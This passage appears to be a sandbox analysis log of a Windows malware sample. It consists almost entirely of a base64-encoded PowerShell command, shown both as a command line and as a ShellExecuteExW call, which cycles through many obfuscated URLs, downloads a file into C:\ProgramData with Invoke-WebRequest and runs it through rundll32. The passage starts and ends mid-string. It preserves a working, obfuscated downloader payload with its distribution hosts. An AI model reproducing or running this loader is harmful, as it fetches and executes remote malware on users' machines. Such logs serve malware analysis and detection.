QQBZAFEAQgBpAEEARwBFAEEAWgBRAEIAcABBAEcAUQBBAFkAUQBCAGwAQQBFAFEAQQBhAFEAQgBsAEEASABNAEEAZABBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAHcAQgBqAEEARwA4AEEAZABBAEEAPQB4AHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBBAEIAcABBAEcARQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQgBVAEEARwBrAEEAZABnAEIAdgBBAEcAdwBBAGEAUQBBAHUAQQBHAGMAQQBhAFEAQgBtAEEASABRAEEAIgA7ACQAYwBhAG0AcAB1AHMAZQBzAEMAYQB0AGUAYwBoAGkAegBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAdABlAHAAaQBtAGUAcgBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADQAQQBEAGsAQQBMAGcAQQA0AEEARABNAEEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBhAFEAQgB6AEEASABRAEEAWgBRAEIAdQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBjAHcAQQB1AEEASABjAEEAYQBRAEIAcgBBAEcAawBBAG4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGEAUQBCAHMAQQBIAGsAQQBTAEEAQgBsAEEARwBNAEEAYQBBAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAGcAQQBiAHcAQgBzAEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAGMAdwBBAD0AIgA7ACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBkAEEAQgB5AEEARwA4AEEAYgBnAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAEkAQQBaAFEAQgB5AEEARwB3AEEAYQBRAEIAdQBBAEMAOABBAFMAQQBCAHkAQQBDADgAQQBkAGcAQQA1AEEARgBBAEEAYgBRAEEAeABBAEEAPQA9AD0AawB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAFkAZwBCAGsAQQBHAFUAQQBZAFEAQgB1AEEARwBVAEEAYwBnAEIANQBBAEMANABBAGMAdwBCADEAQQBIAEkAQQBaAGcAQQB2AEEARQAwAEEAWQBRAEEAdgBBAEYAWQBBAGQAZwBCAEcAQQBEAE0AQQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAFEAQQB5AEEARABRAEEATAB3AEIAVwBBAEMAOABBAE4AUQBBADAAQQBBAD0APQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgB2AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHUAQQBHAGsAQQBZAHcAQgBCAEEARwB3AEEAWQB3AEIAMQBBAEcAMABBAGUAUQBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEATAB3AEIAWQBBAEcAWQBBAE0AUQBCAHQAQQBDADgAQQBNAHcAQgB1AEEARgBnAEEAYwBnAEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBiAEEAQgAxAEEASABRAEEAZABBAEIAcABBAEcAcwBBAGEAUQBCAHUAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAYQBBAEIAbABBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBMAGcAQgB0AEEARwA4AEEAWQBnAEIAcABBAEMAOABBAE8AUQBCAHcAQQBEAEkAQQBXAEEAQgBDAEEAQwA4AEEAYgBBAEIAVwBBAEQAVQBBAGIAZwBBAD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABNAEEAZQBRAEIAagBBAEcAZwBBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgBwAEEASABNAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCADMAQQBHAGsAQQBhAHcAQgBwAEEAQwA4AEEAWgB3AEEAMQBBAEYATQBBAFkAdwBCAE4AQQBDADgAQQBOAHcAQQAwAEEARQBrAEEAVQB3AEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQQB6AEEARQBNAEEAUwB3AEIAMgBBAEQATQBBAGEAZwBCAFcAQQBGAFkAQQBZAFEAQgB5AEEASABnAEEAPQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBqAEEARQBnAEEAUQB3AEIATwBBAEUAcwBBAGIAdwBCAHcAQQBHADAAQQBZAHcAQQA1AEEAQQA9AD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEUARQBBAE0AQQBCAFUAQQBHAFEAQQBXAGcAQgB2AEEAQQA9AD0AIgA7ACQAbgBvAG4AdAByAG8AcABpAGMAYQBsAGwAeQBDAG8AbQBtAHUAdABhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBhAFEAQgB6AEEASABRAEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAQgBBAEcAdwBBAGQAZwBCAGwAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGIAQQBBAD0AUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgBqAEEARwBnAEEAWgBRAEIAawBBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAJABIAGUAeABhAGgAZQBtAGUAcgBvAG4AUAByAG8AcwBjAHkAbgBlAG0AYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBaAEEAQgB2AEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBCAEEARwBJAEEAYgB3AEIAagBBAEcAOABBAFkAdwBCAHIAQQBHAFUAQQBkAEEAQQB1AEEARwBjAEEAYwBnAEIAcABBAEgAQQBBAFoAUQBBAD0AaAA9AEUAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBiAHcAQgB5AEEARwBVAEEAZABBAEIAdgBBAEcAMABBAGUAUQBBAHUAQQBHADQAQQBaAHcAQgB2AEEAQQA9AD0AIgA7ACQASAB5AHAAZQByAGEAbABnAGUAdABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQQA9AD0AYgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBIAFUAQQBhAHcAQgBsAEEARwB3AEEAYQBRAEIAdQBBAEcAYwBBAFUAdwBCADEAQQBHAEkAQQBjAHcAQgAwAEEARwA4AEEAYwBnAEIANQBBAEMANABBAGQAdwBCAGwAQQBHAEkAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAFkAQQBNAFEAQQB1AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADIAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAG8AbQBpAGEAYwBrAEMAbwBjAGsAYQB3AGUAZQAgAGkAbgAgACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAAtAHMAcABsAGkAdAAgACIAPQBrAHgAIgApACAAewB0AHIAeQAgAHsAJABEAGUAbgBvAHQAaQBuAGcASABlAGEAZABzAGgAZQBlAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABjAEEATgBRAEEAdQBBAEQAZwBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAUABvAHMAaABsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABVAEEATgBnAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBFAEEAWQBnAEIAdgBBAEcAOABBAGEAUQBCAHoAQQBHADAAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGEAQQBCAHYAQQBHAGsAQQBaAEEAQQB1AEEASABRAEEAYgB3AEIANQBBAEgATQBBACIAOwAkAE0AaQBsAGwAZQBmAGwAZQB1AHIAcwBEAHIAYQBpAG4AYQBnAGUAdwBhAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATwBvAG0AaQBhAGMAawBDAG8AYwBrAGEAdwBlAGUAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABNAGkAbABsAGUAZgBsAGUAdQByAHMARAByAGEAaQBuAGEAZwBlAHcAYQB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAOwAkAE8AcgBkAHUAcgBvAHUAcwBuAGUAcwBzAEYAcgBpAHYAbwBsAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABnAEEATgBRAEEAdQBBAEQAZwBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQAzAEEAQQA9AD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBBAEEAPQBZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQA9ACIAOwAkAEgAaQBzAHQAbwByAGkAYwBhAGwAbAB5AE8AdQB0AGIAdQBpAGwAZABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAVQBBAFkAZwBCAGoAQQBHAHcAQQBZAFEAQgAxAEEASABNAEEAWgBRAEEAdQBBAEcANABBAFoAUQBCADMAQQBIAE0AQQBhAFoAagBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBZAFEAQgAwAEEARwBnAEEAZQBRAEIAegBBAEcAMABBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEgASQBBAGIAdwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAHYAQQBHADQAQQBaAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADkAOQAxADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBRAEIAdQBBAEgAUQBBAGEAUQBCAGwAQQBHADQAQQBkAGcAQgBwAEEASABJAEEAYgB3AEIAdQBBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBZAFEAQgBzAEEARwBrAEEAYwB3AEIAdABBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBiAEEAQgB2AEEARwBRAEEAWgB3AEIAcABBAEcANABBAFoAdwBCAEUAQQBHAFUAQQBjAEEAQgB2AEEASABNAEEAYQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBzAEEARwAwAEEAZABRAEIAegBBAEgAUQBBAE8AdwBBAD0AIgA7ACQAdQBuAGEAdQB0AGgAZQBuAHQAaQBjAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEcAVQBBAGIAdwBCAG0AQQBFADAAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAbABBAEgASQBBAEwAZwBCAHoAQQBHADgAQQBiAEEAQgBoAEEASABJAEEASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEEAQQBkAFEAQgB5AEEASABBAEEAYgB3AEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBGAGMAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBZAHcAQgBoAEEASABJAEEAWgBRAEIAbABBAEgASQBBAGMAdwBBAD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAFEAQQB1AEEARABFAEEATQBBAEEANABBAEMANABBAE4AdwBBADEAQQBDADQAQQBPAEEAQQA1AEEAQQA9AD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATQBBAEEANQBBAEMANABBAE0AUQBBADAAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgB3AEEAPQAiADsAJABOAGUAcABoAHIAbwBsAHkAdABpAGMAUgBvAGcAdQBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAeQBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATQB3AEEAegBBAEEAPQA9AHgAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBhAFEAQgB3AEEASABBAEEAYQBRAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARgBNAEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHAAQQBHADQAQQBaAFEAQgB2AEEARwBJAEEAYQBRAEIAcwBBAEcAawBBAGIAdwBCADEAQQBIAE0AQQBMAGcAQgB6AEEARwBVAEEAeAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAFkAdwBCAGgAQQBIAEkAQQBZAFEAQgBpAEEARwBFAEEAWgBRAEIAcABBAEcAUQBBAFkAUQBCAGwAQQBFAFEAQQBhAFEAQgBsAEEASABNAEEAZABBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAHcAQgBqAEEARwA4AEEAZABBAEEAPQB4AHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBBAEIAcABBAEcARQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQgBVAEEARwBrAEEAZABnAEIAdgBBAEcAdwBBAGEAUQBBAHUAQQBHAGMAQQBhAFEAQgBtAEEASABRAEEAIgA7ACQAYwBhAG0AcAB1AHMAZQBzAEMAYQB0AGUAYwBoAGkAegBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "JABNAGUAdABlAHAAaQBtAGUAcgBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADQAQQBEAGsAQQBMAGcAQQA0AEEARABNAEEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBhAFEAQgB6AEEASABRAEEAWgBRAEIAdQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBjAHcAQQB1AEEASABjAEEAYQBRAEIAcgBBAEcAawBBAG4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGEAUQBCAHMAQQBIAGsAQQBTAEEAQgBsAEEARwBNAEEAYQBBAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAGcAQQBiAHcAQgBzAEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAGMAdwBBAD0AIgA7ACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBkAEEAQgB5AEEARwA4AEEAYgBnAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAEkAQQBaAFEAQgB5AEEARwB3AEEAYQBRAEIAdQBBAEMAOABBAFMAQQBCAHkAQQBDADgAQQBkAGcAQQA1AEEARgBBAEEAYgBRAEEAeABBAEEAPQA9AD0AawB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAFkAZwBCAGsAQQBHAFUAQQBZAFEAQgB1AEEARwBVAEEAYwBnAEIANQBBAEMANABBAGMAdwBCADEAQQBIAEkAQQBaAGcAQQB2AEEARQAwAEEAWQBRAEEAdgBBAEYAWQBBAGQAZwBCAEcAQQBEAE0AQQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAFEAQQB5AEEARABRAEEATAB3AEIAVwBBAEMAOABBAE4AUQBBADAAQQBBAD0APQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgB2AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHUAQQBHAGsAQQBZAHcAQgBCAEEARwB3AEEAWQB3AEIAMQBBAEcAMABBAGUAUQBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEATAB3AEIAWQBBAEcAWQBBAE0AUQBCAHQAQQBDADgAQQBNAHcAQgB1AEEARgBnAEEAYwBnAEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBiAEEAQgAxAEEASABRAEEAZABBAEIAcABBAEcAcwBBAGEAUQBCAHUAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAYQBBAEIAbABBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBMAGcAQgB0AEEARwA4AEEAWQBnAEIAcABBAEMAOABBAE8AUQBCAHcAQQBEAEkAQQBXAEEAQgBDAEEAQwA4AEEAYgBBAEIAVwBBAEQAVQBBAGIAZwBBAD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABNAEEAZQBRAEIAagBBAEcAZwBBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgBwAEEASABNAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCADMAQQBHAGsAQQBhAHcAQgBwAEEAQwA4AEEAWgB3AEEAMQBBAEYATQBBAFkAdwBCAE4AQQBDADgAQQBOAHcAQQAwAEEARQBrAEEAVQB3AEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQQB6AEEARQBNAEEAUwB3AEIAMgBBAEQATQBBAGEAZwBCAFcAQQBGAFkAQQBZAFEAQgB5AEEASABnAEEAPQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBqAEEARQBnAEEAUQB3AEIATwBBAEUAcwBBAGIAdwBCAHcAQQBHADAAQQBZAHcAQQA1AEEAQQA9AD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEUARQBBAE0AQQBCAFUAQQBHAFEAQQBXAGcAQgB2AEEAQQA9AD0AIgA7ACQAbgBvAG4AdAByAG8AcABpAGMAYQBsAGwAeQBDAG8AbQBtAHUAdABhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBhAFEAQgB6AEEASABRAEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAQgBBAEcAdwBBAGQAZwBCAGwAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGIAQQBBAD0AUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgBqAEEARwBnAEEAWgBRAEIAawBBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAJABIAGUAeABhAGgAZQBtAGUAcgBvAG4AUAByAG8AcwBjAHkAbgBlAG0AYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBaAEEAQgB2AEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBCAEEARwBJAEEAYgB3AEIAagBBAEcAOABBAFkAdwBCAHIAQQBHAFUAQQBkAEEAQQB1AEEARwBjAEEAYwBnAEIAcABBAEgAQQBBAFoAUQBBAD0AaAA9AEUAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBiAHcAQgB5AEEARwBVAEEAZABBAEIAdgBBAEcAMABBAGUAUQBBAHUAQQBHADQAQQBaAHcAQgB2AEEAQQA9AD0AIgA7ACQASAB5AHAAZQByAGEAbABnAGUAdABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQQA9AD0AYgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBIAFUAQQBhAHcAQgBsAEEARwB3AEEAYQBRAEIAdQBBAEcAYwBBAFUAdwBCADEAQQBHAEkAQQBjAHcAQgAwAEEARwA4AEEAYwBnAEIANQBBAEMANABBAGQAdwBCAGwAQQBHAEkAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAFkAQQBNAFEAQQB1AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADIAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAG8AbQBpAGEAYwBrAEMAbwBjAGsAYQB3AGUAZQAgAGkAbgAgACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAAtAHMAcABsAGkAdAAgACIAPQBrAHgAIgApACAAewB0AHIAeQAgAHsAJABEAGUAbgBvAHQAaQBuAGcASABlAGEAZABzAGgAZQBlAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABjAEEATgBRAEEAdQBBAEQAZwBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAUABvAHMAaABsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBN